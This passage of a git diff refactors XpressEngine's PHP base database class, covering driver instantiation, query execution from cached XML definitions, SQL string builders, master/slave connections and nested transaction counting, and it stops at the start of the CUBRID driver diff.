+ + /** + * flag to decide if class prepared statements or not (when supported); can be changed from db.config.info + * @var string + */ + var $use_prepared_statements; + + /** + * leve of transaction + * @var unknown + */ + private $transationNestedLevel = 0; + + /** + * returns instance of certain db type + * @param string $db_type type of db + * @return DB return DB object instance + */ + function &getInstance($db_type = NULL) + { + if(!$db_type) { - $new_update_columns = array(); - $click_count_columns = $queryObject->getClickCountColumns(); - foreach($click_count_columns as $click_count_column) + $db_type = Context::getDBType(); + } + if(!$db_type && Context::isInstalled()) + { + return new Object(-1, 'msg_db_not_setted'); + } + + if(!isset($GLOBALS['__DB__'])) + { + $GLOBALS['__DB__'] = array(); + } + if(!isset($GLOBALS['__DB__'][$db_type])) + { + $class_name = 'DB' . ucfirst($db_type); + $class_file = _XE_PATH_ . "classes/db/$class_name.class.php"; + if(!file_exists($class_file)) { - $click_count_column_name = $click_count_column->column_name; - - $increase_by_1 = new Argument($click_count_column_name, null); - $increase_by_1->setColumnOperation('+'); - $increase_by_1->ensureDefaultValue(1); - - $update_expression = new UpdateExpression($click_count_column_name, $increase_by_1); - $new_update_columns[] = $update_expression; + return new Object(-1, 'msg_db_not_setted'); } - $queryObject->columns = $new_update_columns; - return $queryObject; + + // get a singletone instance of the database driver class + require_once($class_file); + $GLOBALS['__DB__'][$db_type] = call_user_func(array($class_name, 'create')); + $GLOBALS['__DB__'][$db_type]->db_type = $db_type; } - /** - * Return delete query string - * @param object $query - * @param boolean $with_values - * @param boolean $with_priority - * @return string - */ - function getDeleteSql($query, $with_values = TRUE, $with_priority = FALSE){ - $sql = 'DELETE '; + return $GLOBALS['__DB__'][$db_type]; + } - $sql .= $with_priority?$query->getPriority():''; - $tables = $query->getTables(); + /** + * returns instance of db + * @return DB return DB object instance + */ + function create() + { + return new DB; + } - $sql .= $tables[0]->getAlias(); + /** + * constructor + * @return void + */ + function DB() + { + $this->count_cache_path = _XE_PATH_ . $this->count_cache_path; + $this->cache_file = _XE_PATH_ . $this->cache_file; + } - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $sql .= ' FROM '.$from; + /** + * returns list of supported dbms list + * this list return by directory list + * check by instance can creatable + * @return array return supported DBMS list + */ + function getSupportedList() + { + $oDB = new DB(); + return $oDB->_getSupportedList(); + } - $where = $query->getWhereString($with_values); - if($where != '') $sql .= ' WHERE ' . $where; - - return $sql; + /** + * returns enable list in supported dbms list + * this list return by child class + * @return array return enable DBMS list in supported dbms list + */ + function getEnableList() + { + if(!$this->supported_list) + { + $oDB = new DB(); + $this->supported_list = $oDB->_getSupportedList(); } - /** - * Return update query string - * @param object $query - * @param boolean $with_values - * @param boolean $with_priority - * @return string - */ - function getUpdateSql($query, $with_values = TRUE, $with_priority = FALSE){ - $columnsList = $query->getUpdateString($with_values); - if($columnsList == '') return new Object(-1, "Invalid query"); + $enableList = array(); + if(is_array($this->supported_list)) + { + foreach($this->supported_list AS $key => $value) + { + if($value->enable) + { + array_push($enableList, $value); + } + } + } + return $enableList; + } - $tables = $query->getFromString($with_values); - if($tables == '') return new Object(-1, "Invalid query"); - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $priority = $with_priority?$query->getPriority():''; - - return "UPDATE $priority $tables SET $columnsList ".$where; + /** + * returns list of disable in supported dbms list + * this list return by child class + * @return array return disable DBMS list in supported dbms list + */ + function getDisableList() + { + if(!$this->supported_list) + { + $oDB = new DB(); + $this->supported_list = $oDB->_getSupportedList(); } - /** - * Return insert query string - * @param object $query - * @param boolean $with_values - * @param boolean $with_priority - * @return string - */ - function getInsertSql($query, $with_values = TRUE, $with_priority = FALSE){ - $tableName = $query->getFirstTableName(); - $values = $query->getInsertString($with_values); - $priority = $with_priority?$query->getPriority():''; + $disableList = array(); + if(is_array($this->supported_list)) + { + foreach($this->supported_list AS $key => $value) + { + if(!$value->enable) + { + array_push($disableList, $value); + } + } + } + return $disableList; + } - return "INSERT $priority INTO $tableName \n $values"; + /** + * returns list of supported dbms list + * this method is private + * @return array return supported DBMS list + */ + function _getSupportedList() + { + static $get_supported_list = ''; + if(is_array($get_supported_list)) + { + $this->supported_list = $get_supported_list; + return $this->supported_list; + } + $get_supported_list = array(); + $db_classes_path = _XE_PATH_ . "classes/db/"; + $filter = "/^DB([^\.]+)\.class\.php/i"; + $supported_list = FileHandler::readDir($db_classes_path, $filter, TRUE); + + // after creating instance of class, check is supported + for($i = 0; $i < count($supported_list); $i++) + { + $db_type = $supported_list[$i]; + + if(version_compare(phpversion(), '5.0') < 0 && preg_match('/pdo/i', $db_type)) + { + continue; + } + + $class_name = sprintf("DB%s%s", strtoupper(substr($db_type, 0, 1)), strtolower(substr($db_type, 1))); + $class_file = sprintf(_XE_PATH_ . "classes/db/%s.class.php", $class_name); + if(!file_exists($class_file)) + { + continue; + } + + unset($oDB); + require_once($class_file); + $tmp_fn = create_function('', "return new {$class_name}();"); + $oDB = $tmp_fn(); + + if(!$oDB) + { + continue; + } + + $obj = NULL; + $obj->db_type = $db_type; + $obj->enable = $oDB->isSupported() ? TRUE : FALSE; + + $get_supported_list[] = $obj; } - /** - * Return index from slave server list - * @return int - */ - function _getSlaveConnectionStringIndex() { - $max = count($this->slave_db); - $indx = rand(0, $max - 1); - return $indx; - } + // sort + @usort($get_supported_list, array($this, '_sortDBMS')); - /** - * Return connection resource - * @param string $type use 'master' or 'slave'. default value is 'master' - * @param int $indx if indx value is NULL, return rand number in slave server list - * @return resource - */ - function _getConnection($type = 'master', $indx = NULL){ - if($type == 'master'){ - if(!$this->master_db['is_connected']) - $this->_connect($type); - $this->connection = 'Master ' . $this->master_db['db_hostname']; - return $this->master_db["resource"]; - } + $this->supported_list = $get_supported_list; + return $this->supported_list; + } - if($indx === NULL) - $indx = $this->_getSlaveConnectionStringIndex($type); + /** + * sort dbms as priority + */ + function _sortDBMS($a, $b) + { + if(!isset($this->priority_dbms[$a->db_type])) + { + $priority_a = 0; + } + else + { + $priority_a = $this->priority_dbms[$a->db_type]; + } - if(!$this->slave_db[$indx]['is_connected']) - $this->_connect($type, $indx); + if(!isset($this->priority_dbms[$b->db_type])) + { + $priority_b = 0; + } + else + { + $priority_b = $this->priority_dbms[$b->db_type]; + } - $this->connection = 'Slave ' . $this->slave_db[$indx]['db_hostname']; - return $this->slave_db[$indx]["resource"]; - } + if($priority_a == $priority_b) + { + return 0; + } - /** - * check db information exists - * @return boolean - */ - function _dbInfoExists() { - if (!$this->master_db) - return FALSE; - if (count($this->slave_db) === 0) - return FALSE; - return TRUE; - } + return ($priority_a > $priority_b) ? -1 : 1; + } - /** - * DB disconnection - * this method is protected - * @param resource $connection - * @return void - */ - function _close($connection){ + /** + * Return dbms supportable status + * The value is set in the child class + * @return boolean true: is supported, false: is not supported + */ + function isSupported() + { + return FALSE; + } - } + /** + * Return connected status + * @param string $type master or slave + * @param int $indx key of server list + * @return boolean true: connected, false: not connected + */ + function isConnected($type = 'master', $indx = 0) + { + if($type == 'master') + { + return $this->master_db["is_connected"] ? TRUE : FALSE; + } + else + { + return $this->slave_db[$indx]["is_connected"] ? TRUE : FALSE; + } + } - /** - * DB disconnection - * @param string $type 'master' or 'slave' - * @param int $indx number in slave dbms server list - * @return void - */ - function close($type = 'master', $indx = 0) { - if (!$this->isConnected($type, $indx)) - return; + /** + * start recording log + * @param string $query query string + * @return void + */ + function actStart($query) + { + $this->setError(0, 'success'); + $this->query = $query; + $this->act_start = getMicroTime(); + $this->elapsed_time = 0; + } - if ($type == 'master') - $connection = &$this->master_db; - else - $connection = &$this->slave_db[$indx]; + /** + * finish recording log + * @return void + */ + function actFinish() + { + if(!$this->query) + { + return; + } + $this->act_finish = getMicroTime(); + $elapsed_time = $this->act_finish - $this->act_start; + $this->elapsed_time = $elapsed_time; + $GLOBALS['__db_elapsed_time__'] += $elapsed_time; - $this->_close($connection["resource"]); + $log['query'] = $this->query; + $log['elapsed_time'] = $elapsed_time; + $log['connection'] = $this->connection; - $connection["is_connected"] = FALSE; - } + // leave error log if an error occured (if __DEBUG_DB_OUTPUT__ is defined) + if($this->isError()) + { + $site_module_info = Context::get('site_module_info'); + $log['module'] = $site_module_info->module; + $log['act'] = Context::get('act'); + $log['query_id'] = $this->query_id; + $log['time'] = date('Y-m-d H:i:s'); + $log['result'] = 'Failed'; + $log['errno'] = $this->errno; + $log['errstr'] = $this->errstr; - /** - * DB transaction start - * this method is protected - * @return boolean - */ - function _begin(){ - return TRUE; - } + if(__DEBUG_DB_OUTPUT__ == 1) + { + $debug_file = _XE_PATH_ . "files/_debug_db_query.php"; + $buff = array(); + if(!file_exists($debug_file)) + { + $buff[] = ''; + } + $buff[] = print_r($log, TRUE); - /** - * DB transaction start - * @return void - */ - function begin() { - if (!$this->isConnected() || $this->transaction_started) - return; + if(@!$fp = fopen($debug_file, "a")) + { + return; + } + fwrite($fp, implode("\n", $buff) . "\n\n"); + fclose($fp); + } + } + else + { + $log['result'] = 'Success'; + } + $GLOBALS['__db_queries__'][] = $log; - if($this->_begin()) - $this->transaction_started = TRUE; - } + // if __LOG_SLOW_QUERY__ if defined, check elapsed time and leave query log + if(__LOG_SLOW_QUERY__ > 0 && $elapsed_time > __LOG_SLOW_QUERY__) + { + $buff = ''; + $log_file = _XE_PATH_ . 'files/_db_slow_query.php'; + if(!file_exists($log_file)) + { + $buff = '' . "\n"; + } - /** - * DB transaction rollback - * this method is protected - * @return boolean - */ - function _rollback(){ - return TRUE; - } + $buff .= sprintf("%s\t%s\n\t%0.6f sec\tquery_id:%s\n\n", date("Y-m-d H:i"), $this->query, $elapsed_time, $this->query_id); - /** - * DB transaction rollback - * @return void - */ - function rollback() { - if (!$this->isConnected() || !$this->transaction_started) - return; - if($this->_rollback()) - $this->transaction_started = FALSE; - } + if($fp = fopen($log_file, 'a')) + { + fwrite($fp, $buff); + fclose($fp); + } + } + } - /** - * DB transaction commit - * this method is protected - * @return boolean - */ - function _commit(){ - return TRUE; - } + /** + * set error + * @param int $errno error code + * @param string $errstr error message + * @return void + */ + function setError($errno = 0, $errstr = 'success') + { + $this->errno = $errno; + $this->errstr = $errstr; + } - /** - * DB transaction commit - * @param boolean $force regardless transaction start status or connect status, forced to commit - * @return void - */ - function commit($force = FALSE) { - if (!$force && (!$this->isConnected() || !$this->transaction_started)) - return; - if($this->_commit()) - $this->transaction_started = FALSE; - } + /** + * Return error status + * @return boolean true: error, false: no error + */ + function isError() + { + return $this->errno === 0 ? FALSE : TRUE; + } - /** - * Execute the query - * this method is protected - * @param string $query - * @param resource $connection - * @return void - */ - function __query($query, $connection){ + /** + * Returns object of error info + * @return object object of error + */ + function getError() + { + $this->errstr = Context::convertEncodingStr($this->errstr); + return new Object($this->errno, $this->errstr); + } - } + /** + * Execute Query that result of the query xml file + * This function finds xml file or cache file of $query_id, compiles it and then execute it + * @param string $query_id query id (module.queryname) + * @param array|object $args arguments for query + * @param array $arg_columns column list. if you want get specific colums from executed result, add column list to $arg_columns + * @return object result of query + */ + function executeQuery($query_id, $args = NULL, $arg_columns = NULL) + { + static $cache_file = array(); - /** - * Execute the query - * this method is protected - * @param string $query - * @param resource $connection - * @return resource - */ - function _query($query, $connection = NULL) { - if($connection == NULL) - $connection = $this->_getConnection('master'); - // Notify to start a query execution - $this->actStart($query); + if(!$query_id) + { + return new Object(-1, 'msg_invalid_queryid'); + } + if(!$this->db_type) + { + return; + } - // Run the query statement - $result = $this->__query($query, $connection); + $this->actDBClassStart(); - // Notify to complete a query execution - $this->actFinish(); - // Return result - return $result; - } + $this->query_id = $query_id; - /** - * DB info settings - * this method is protected - * @return void - */ - function _setDBInfo(){ - $db_info = Context::getDBInfo(); - $this->master_db = $db_info->master_db; - if($db_info->master_db["db_hostname"] == $db_info->slave_db[0]["db_hostname"] - && $db_info->master_db["db_port"] == $db_info->slave_db[0]["db_port"] - && $db_info->master_db["db_userid"] == $db_info->slave_db[0]["db_userid"] - && $db_info->master_db["db_password"] == $db_info->slave_db[0]["db_password"] - && $db_info->master_db["db_database"] == $db_info->slave_db[0]["db_database"] - ) - $this->slave_db[0] = &$this->master_db; - else - $this->slave_db = $db_info->slave_db; - $this->prefix = $db_info->master_db["db_table_prefix"]; - $this->use_prepared_statements = $db_info->use_prepared_statements; - } + if(!isset($cache_file[$query_id]) || !file_exists($cache_file[$query_id])) + { + $id_args = explode('.', $query_id); + if(count($id_args) == 2) + { + $target = 'modules'; + $module = $id_args[0]; + $id = $id_args[1]; + } + elseif(count($id_args) == 3) + { + $target = $id_args[0]; + $typeList = array('addons' => 1, 'widgets' => 1); + if(!isset($typeList[$target])) + { + $this->actDBClassFinish(); + return; + } + $module = $id_args[1]; + $id = $id_args[2]; + } + if(!$target || !$module || !$id) + { + $this->actDBClassFinish(); + return new Object(-1, 'msg_invalid_queryid'); + } - /** - * DB Connect - * this method is protected - * @param array $connection - * @return void - */ - function __connect($connection){ + $xml_file = sprintf('%s%s/%s/queries/%s.xml', _XE_PATH_, $target, $module, $id); + if(!file_exists($xml_file)) + { + $this->actDBClassFinish(); + return new Object(-1, 'msg_invalid_queryid'); + } - } + // look for cache file + $cache_file[$query_id] = $this->checkQueryCacheFile($query_id, $xml_file); + } + $result = $this->_executeQuery($cache_file[$query_id], $args, $query_id, $arg_columns); - /** - * If have a task after connection, add a taks in this method - * this method is protected - * @param resource $connection - * @return void - */ - function _afterConnect($connection){ + $this->actDBClassFinish(); + // execute query + return $result; + } - } + /** + * Look for query cache file + * @param string $query_id query id for finding + * @param string $xml_file original xml query file + * @return string cache file + */ + function checkQueryCacheFile($query_id, $xml_file) + { + // first try finding cache file + $cache_file = sprintf('%s%s%s.%s.%s.cache.php', _XE_PATH_, $this->cache_file, $query_id, __ZBXE_VERSION__, $this->db_type); - /** - * DB Connect - * this method is protected - * @param string $type 'master' or 'slave' - * @param int $indx number in slave dbms server list - * @return void - */ - function _connect($type = 'master', $indx = 0) { - if ($this->isConnected($type, $indx)) - return; + if(file_exists($cache_file)) + { + $cache_time = filemtime($cache_file); + } + else + { + $cache_time = -1; + } - // Ignore if no DB information exists - if (!$this->_dbInfoExists()) - return; + // if there is no cache file or is not new, find original xml query file and parse it + if($cache_time < filemtime($xml_file) || $cache_time < filemtime(_XE_PATH_ . 'classes/db/DB.class.php') || $cache_time < filemtime(_XE_PATH_ . 'classes/xml/XmlQueryParser.150.class.php')) + { + require_once(_XE_PATH_ . 'classes/xml/XmlQueryParser.150.class.php'); + $oParser = new XmlQueryParser(); + $oParser->parse($query_id, $xml_file, $cache_file); + } - if ($type == 'master') - $connection = &$this->master_db; - else - $connection = &$this->slave_db[$indx]; + return $cache_file; + } - $result = $this->__connect($connection); - if($result === NULL || $result === FALSE) { - $connection["is_connected"] = FALSE; - return; - } + /** + * Execute query and return the result + * @param string $cache_file cache file of query + * @param array|object $source_args arguments for query + * @param string $query_id query id + * @param array $arg_columns column list. if you want get specific colums from executed result, add column list to $arg_columns + * @return object result of query + */ + function _executeQuery($cache_file, $source_args, $query_id, $arg_columns) + { + global $lang; - // Check connections - $connection["resource"] = $result; - $connection["is_connected"] = TRUE; + if(!file_exists($cache_file)) + { + return new Object(-1, 'msg_invalid_queryid'); + } - // Save connection info for db logs - $this->connection = ucfirst($type) . ' ' . $connection["db_hostname"]; + if($source_args) + { + $args = clone $source_args; + } - $this->_afterConnect($result); - } + $output = include($cache_file); - /** - * Start recording DBClass log - * @return void - */ - function actDBClassStart() { - $this->setError(0, 'success'); - $this->act_dbclass_start = getMicroTime(); - $this->elapsed_dbclass_time = 0; - } + if((is_a($output, 'Object') || is_subclass_of($output, 'Object')) && !$output->toBool()) + { + return $output; + } - /** - * Finish recording DBClass log - * @return void - */ - function actDBClassFinish() { - if(!$this->query) return; - $this->act_dbclass_finish = getMicroTime(); - $elapsed_dbclass_time = $this->act_dbclass_finish - $this->act_dbclass_start; - $this->elapsed_dbclass_time = $elapsed_dbclass_time; - $GLOBALS['__dbclass_elapsed_time__'] += $elapsed_dbclass_time; - } + // execute appropriate query + switch($output->getAction()) + { + case 'insert' : + case 'insert-select' : + $this->resetCountCache($output->tables); + $output = $this->_executeInsertAct($output); + break; + case 'update' : + $this->resetCountCache($output->tables); + $output = $this->_executeUpdateAct($output); + break; + case 'delete' : + $this->resetCountCache($output->tables); + $output = $this->_executeDeleteAct($output); + break; + case 'select' : + $arg_columns = is_array($arg_columns) ? $arg_columns : array(); + $output->setColumnList($arg_columns); + $connection = $this->_getConnection('slave'); + $output = $this->_executeSelectAct($output, $connection); + break; + } - /** - * Returns a database specific parser instance - * used for escaping expressions and table/column identifiers - * - * Requires an implementation of the DB class (won't work if database is not set) - * this method is singleton - * - * @param boolean $force force load DBParser instance - * @return DBParser - */ - function &getParser($force = FALSE){ - static $dbParser = NULL; - if(!$dbParser || $force) { - $oDB = &DB::getInstance(); - $dbParser = $oDB->getParser(); - } + if($this->isError()) + { + $output = $this->getError(); + } + else if(!is_a($output, 'Object') && !is_subclass_of($output, 'Object')) + { + $output = new Object(); + } + $output->add('_query', $this->query); + $output->add('_elapsed_time', sprintf("%0.5f", $this->elapsed_time)); - return $dbParser; - } + return $output; + } - } -?> + /** + * Returns counter cache data + * @param array|string $tables tables to get data + * @param string $condition condition to get data + * @return int count of cache data + */ + function getCountCache($tables, $condition) + { + return FALSE; + if(!$tables) + { + return FALSE; + } + if(!is_dir($this->count_cache_path)) + { + return FileHandler::makeDir($this->count_cache_path); + } + + $condition = md5($condition); + + if(!is_array($tables)) + { + $tables_str = $tables; + } + else + { + $tables_str = implode('.', $tables); + } + + $cache_path = sprintf('%s/%s%s', $this->count_cache_path, $this->prefix, $tables_str); + if(!is_dir($cache_path)) + { + FileHandler::makeDir($cache_path); + } + + $cache_filename = sprintf('%s/%s.%s', $cache_path, $tables_str, $condition); + if(!file_exists($cache_filename)) + { + return FALSE; + } + + $cache_mtime = filemtime($cache_filename); + + if(!is_array($tables)) + { + $tables = array($tables); + } + foreach($tables as $alias => $table) + { + $table_filename = sprintf('%s/cache.%s%s', $this->count_cache_path, $this->prefix, $table); + if(!file_exists($table_filename) || filemtime($table_filename) > $cache_mtime) + { + return FALSE; + } + } + + $count = (int) FileHandler::readFile($cache_filename); + return $count; + } + + /** + * Save counter cache data + * @param array|string $tables tables to save data + * @param string $condition condition to save data + * @param int $count count of cache data to save + * @return void + */ + function putCountCache($tables, $condition, $count = 0) + { + return FALSE; + if(!$tables) + { + return FALSE; + } + if(!is_dir($this->count_cache_path)) + { + return FileHandler::makeDir($this->count_cache_path); + } + + $condition = md5($condition); + + if(!is_array($tables)) + { + $tables_str = $tables; + } + else + { + $tables_str = implode('.', $tables); + } + + $cache_path = sprintf('%s/%s%s', $this->count_cache_path, $this->prefix, $tables_str); + if(!is_dir($cache_path)) + { + FileHandler::makeDir($cache_path); + } + + $cache_filename = sprintf('%s/%s.%s', $cache_path, $tables_str, $condition); + + FileHandler::writeFile($cache_filename, $count); + } + + /** + * Reset counter cache data + * @param array|string $tables tables to reset cache data + * @return boolean true: success, false: failed + */ + function resetCountCache($tables) + { + return FALSE; + if(!$tables) + { + return FALSE; + } + if(!is_dir($this->count_cache_path)) + { + return FileHandler::makeDir($this->count_cache_path); + } + + if(!is_array($tables)) + { + $tables = array($tables); + } + foreach($tables as $alias => $table) + { + $filename = sprintf('%s/cache.%s%s', $this->count_cache_path, $this->prefix, $table); + FileHandler::removeFile($filename); + FileHandler::writeFile($filename, ''); + } + + return TRUE; + } + + /** + * Returns supported database list + * @return array list of supported database + */ + function getSupportedDatabase() + { + $result = array(); + + if(function_exists('mysql_connect')) + { + $result[] = 'MySQL'; + } + if(function_exists('cubrid_connect')) + { + $result[] = 'Cubrid'; + } + if(function_exists('ibase_connect')) + { + $result[] = 'FireBird'; + } + if(function_exists('pg_connect')) + { + $result[] = 'Postgre'; + } + if(function_exists('sqlite_open')) + { + $result[] = 'sqlite2'; + } + if(function_exists('mssql_connect')) + { + $result[] = 'MSSQL'; + } + if(function_exists('PDO')) + { + $result[] = 'sqlite3(PDO)'; + } + + return $result; + } + + /** + * Drop tables + * @param string $table_name + * @return void + */ + function dropTable($table_name) + { + if(!$table_name) + { + return; + } + $query = sprintf("drop table %s%s", $this->prefix, $table_name); + $this->_query($query); + } + + /** + * Return select query string + * @param object $query + * @param boolean $with_values + * @return string + */ + function getSelectSql($query, $with_values = TRUE) + { + $select = $query->getSelectString($with_values); + if($select == '') + { + return new Object(-1, "Invalid query"); + } + $select = 'SELECT ' . $select; + + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $from = ' FROM ' . $from; + + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $tableObjects = $query->getTables(); + $index_hint_list = ''; + foreach($tableObjects as $tableObject) + { + if(is_a($tableObject, 'CubridTableWithHint')) + { + $index_hint_list .= $tableObject->getIndexHintString() . ', '; + } + } + $index_hint_list = substr($index_hint_list, 0, -2); + if($index_hint_list != '') + { + $index_hint_list = 'USING INDEX ' . $index_hint_list; + } + + $groupBy = $query->getGroupByString(); + if($groupBy != '') + { + $groupBy = ' GROUP BY ' . $groupBy; + } + + $orderBy = $query->getOrderByString(); + if($orderBy != '') + { + $orderBy = ' ORDER BY ' . $orderBy; + } + + $limit = $query->getLimitString(); + if($limit != '') + { + $limit = ' LIMIT ' . $limit; + } + + return $select . ' ' . $from . ' ' . $where . ' ' . $index_hint_list . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; + } + + /** + * Given a SELECT statement that uses click count + * returns the corresponding update sql string + * for databases that don't have click count support built in + * (aka all besides CUBRID) + * + * Function does not check if click count columns exist! + * You must call $query->usesClickCount() before using this function + * + * @param $queryObject + */ + function getClickCountQuery($queryObject) + { + $new_update_columns = array(); + $click_count_columns = $queryObject->getClickCountColumns(); + foreach($click_count_columns as $click_count_column) + { + $click_count_column_name = $click_count_column->column_name; + + $increase_by_1 = new Argument($click_count_column_name, null); + $increase_by_1->setColumnOperation('+'); + $increase_by_1->ensureDefaultValue(1); + + $update_expression = new UpdateExpression($click_count_column_name, $increase_by_1); + $new_update_columns[] = $update_expression; + } + $queryObject->columns = $new_update_columns; + return $queryObject; + } + + /** + * Return delete query string + * @param object $query + * @param boolean $with_values + * @param boolean $with_priority + * @return string + */ + function getDeleteSql($query, $with_values = TRUE, $with_priority = FALSE) + { + $sql = 'DELETE '; + + $sql .= $with_priority ? $query->getPriority() : ''; + $tables = $query->getTables(); + + $sql .= $tables[0]->getAlias(); + + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $sql .= ' FROM ' . $from; + + $where = $query->getWhereString($with_values); + if($where != '') + { + $sql .= ' WHERE ' . $where; + } + + return $sql; + } + + /** + * Return update query string + * @param object $query + * @param boolean $with_values + * @param boolean $with_priority + * @return string + */ + function getUpdateSql($query, $with_values = TRUE, $with_priority = FALSE) + { + $columnsList = $query->getUpdateString($with_values); + if($columnsList == '') + { + return new Object(-1, "Invalid query"); + } + + $tables = $query->getFromString($with_values); + if($tables == '') + { + return new Object(-1, "Invalid query"); + } + + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $priority = $with_priority ? $query->getPriority() : ''; + + return "UPDATE $priority $tables SET $columnsList " . $where; + } + + /** + * Return insert query string + * @param object $query + * @param boolean $with_values + * @param boolean $with_priority + * @return string + */ + function getInsertSql($query, $with_values = TRUE, $with_priority = FALSE) + { + $tableName = $query->getFirstTableName(); + $values = $query->getInsertString($with_values); + $priority = $with_priority ? $query->getPriority() : ''; + + return "INSERT $priority INTO $tableName \n $values"; + } + + /** + * Return index from slave server list + * @return int + */ + function _getSlaveConnectionStringIndex() + { + $max = count($this->slave_db); + $indx = rand(0, $max - 1); + return $indx; + } + + /** + * Return connection resource + * @param string $type use 'master' or 'slave'. default value is 'master' + * @param int $indx if indx value is NULL, return rand number in slave server list + * @return resource + */ + function _getConnection($type = 'master', $indx = NULL) + { + if($type == 'master') + { + if(!$this->master_db['is_connected']) + { + $this->_connect($type); + } + $this->connection = 'Master ' . $this->master_db['db_hostname']; + return $this->master_db["resource"]; + } + + if($indx === NULL) + { + $indx = $this->_getSlaveConnectionStringIndex($type); + } + + if(!$this->slave_db[$indx]['is_connected']) + { + $this->_connect($type, $indx); + } + + $this->connection = 'Slave ' . $this->slave_db[$indx]['db_hostname']; + return $this->slave_db[$indx]["resource"]; + } + + /** + * check db information exists + * @return boolean + */ + function _dbInfoExists() + { + if(!$this->master_db) + { + return FALSE; + } + if(count($this->slave_db) === 0) + { + return FALSE; + } + return TRUE; + } + + /** + * DB disconnection + * this method is protected + * @param resource $connection + * @return void + */ + function _close($connection) + { + + } + + /** + * DB disconnection + * @param string $type 'master' or 'slave' + * @param int $indx number in slave dbms server list + * @return void + */ + function close($type = 'master', $indx = 0) + { + if(!$this->isConnected($type, $indx)) + { + return; + } + + if($type == 'master') + { + $connection = &$this->master_db; + } + else + { + $connection = &$this->slave_db[$indx]; + } + + $this->_close($connection["resource"]); + + $connection["is_connected"] = FALSE; + } + + /** + * DB transaction start + * this method is protected + * @return boolean + */ + function _begin() + { + return TRUE; + } + + /** + * DB transaction start + * @return void + */ + function begin() + { + if(!$this->isConnected()) + { + return; + } + + if($this->_begin($this->transationNestedLevel)) + { + $this->transaction_started = TRUE; + $this->transationNestedLevel++; + } + } + + /** + * DB transaction rollback + * this method is protected + * @return boolean + */ + function _rollback() + { + return TRUE; + } + + /** + * DB transaction rollback + * @return void + */ + function rollback() + { + if(!$this->isConnected() || !$this->transaction_started) + { + return; + } + if($this->_rollback($this->transationNestedLevel)) + { + $this->transationNestedLevel--; + + if(!$this->transationNestedLevel) + { + $this->transaction_started = FALSE; + } + } + } + + /** + * DB transaction commit + * this method is protected + * @return boolean + */ + function _commit() + { + return TRUE; + } + + /** + * DB transaction commit + * @param boolean $force regardless transaction start status or connect status, forced to commit + * @return void + */ + function commit($force = FALSE) + { + if(!$force && (!$this->isConnected() || !$this->transaction_started)) + { + return; + } + if($this->transationNestedLevel == 1 && $this->_commit()) + { + $this->transaction_started = FALSE; + $this->transationNestedLevel = 0; + } + else + { + $this->transationNestedLevel--; + } + } + + /** + * Execute the query + * this method is protected + * @param string $query + * @param resource $connection + * @return void + */ + function __query($query, $connection) + { + + } + + /** + * Execute the query + * this method is protected + * @param string $query + * @param resource $connection + * @return resource + */ + function _query($query, $connection = NULL) + { + if($connection == NULL) + { + $connection = $this->_getConnection('master'); + } + // Notify to start a query execution + $this->actStart($query); + + // Run the query statement + $result = $this->__query($query, $connection); + + // Notify to complete a query execution + $this->actFinish(); + // Return result + return $result; + } + + /** + * DB info settings + * this method is protected + * @return void + */ + function _setDBInfo() + { + $db_info = Context::getDBInfo(); + $this->master_db = $db_info->master_db; + if($db_info->master_db["db_hostname"] == $db_info->slave_db[0]["db_hostname"] + && $db_info->master_db["db_port"] == $db_info->slave_db[0]["db_port"] + && $db_info->master_db["db_userid"] == $db_info->slave_db[0]["db_userid"] + && $db_info->master_db["db_password"] == $db_info->slave_db[0]["db_password"] + && $db_info->master_db["db_database"] == $db_info->slave_db[0]["db_database"] + ) + { + $this->slave_db[0] = &$this->master_db; + } + else + { + $this->slave_db = $db_info->slave_db; + } + $this->prefix = $db_info->master_db["db_table_prefix"]; + $this->use_prepared_statements = $db_info->use_prepared_statements; + } + + /** + * DB Connect + * this method is protected + * @param array $connection + * @return void + */ + function __connect($connection) + { + + } + + /** + * If have a task after connection, add a taks in this method + * this method is protected + * @param resource $connection + * @return void + */ + function _afterConnect($connection) + { + + } + + /** + * DB Connect + * this method is protected + * @param string $type 'master' or 'slave' + * @param int $indx number in slave dbms server list + * @return void + */ + function _connect($type = 'master', $indx = 0) + { + if($this->isConnected($type, $indx)) + { + return; + } + + // Ignore if no DB information exists + if(!$this->_dbInfoExists()) + { + return; + } + + if($type == 'master') + { + $connection = &$this->master_db; + } + else + { + $connection = &$this->slave_db[$indx]; + } + + $result = $this->__connect($connection); + if($result === NULL || $result === FALSE) + { + $connection["is_connected"] = FALSE; + return; + } + + // Check connections + $connection["resource"] = $result; + $connection["is_connected"] = TRUE; + + // Save connection info for db logs + $this->connection = ucfirst($type) . ' ' . $connection["db_hostname"]; + + $this->_afterConnect($result); + } + + /** + * Start recording DBClass log + * @return void + */ + function actDBClassStart() + { + $this->setError(0, 'success'); + $this->act_dbclass_start = getMicroTime(); + $this->elapsed_dbclass_time = 0; + } + + /** + * Finish recording DBClass log + * @return void + */ + function actDBClassFinish() + { + if(!$this->query) + { + return; + } + $this->act_dbclass_finish = getMicroTime(); + $elapsed_dbclass_time = $this->act_dbclass_finish - $this->act_dbclass_start; + $this->elapsed_dbclass_time = $elapsed_dbclass_time; + $GLOBALS['__dbclass_elapsed_time__'] += $elapsed_dbclass_time; + } + + /** + * Returns a database specific parser instance + * used for escaping expressions and table/column identifiers + * + * Requires an implementation of the DB class (won't work if database is not set) + * this method is singleton + * + * @param boolean $force force load DBParser instance + * @return DBParser + */ + function &getParser($force = FALSE) + { + static $dbParser = NULL; + if(!$dbParser || $force) + { + $oDB = DB::getInstance(); + $dbParser = $oDB->getParser(); + } + + return $dbParser; + } + +} +/* End of file DB.class.php */ +/* Location: ./classes/db/DB.class.php */ diff --git a/classes/db/DBCubrid.class.php b/classes/db/DBCubrid.class.php index 8debbbcd3..4a4b26f53 100644 --- a/classes/db/DBCubrid.class.php +++ b/classes/db/DBCubrid.class.php @@ -1,241 +1,263 @@ 'numeric(20)', + 'number' => 'integer', + 'varchar' => 'character varying', + 'char' => 'character', + 'tinytext' => 'character varying(256)', + 'text' => 'character varying(1073741823)', + 'bigtext' => 'character varying(1073741823)', + 'date' => 'character varying(14)', + 'float' => 'float', + ); + 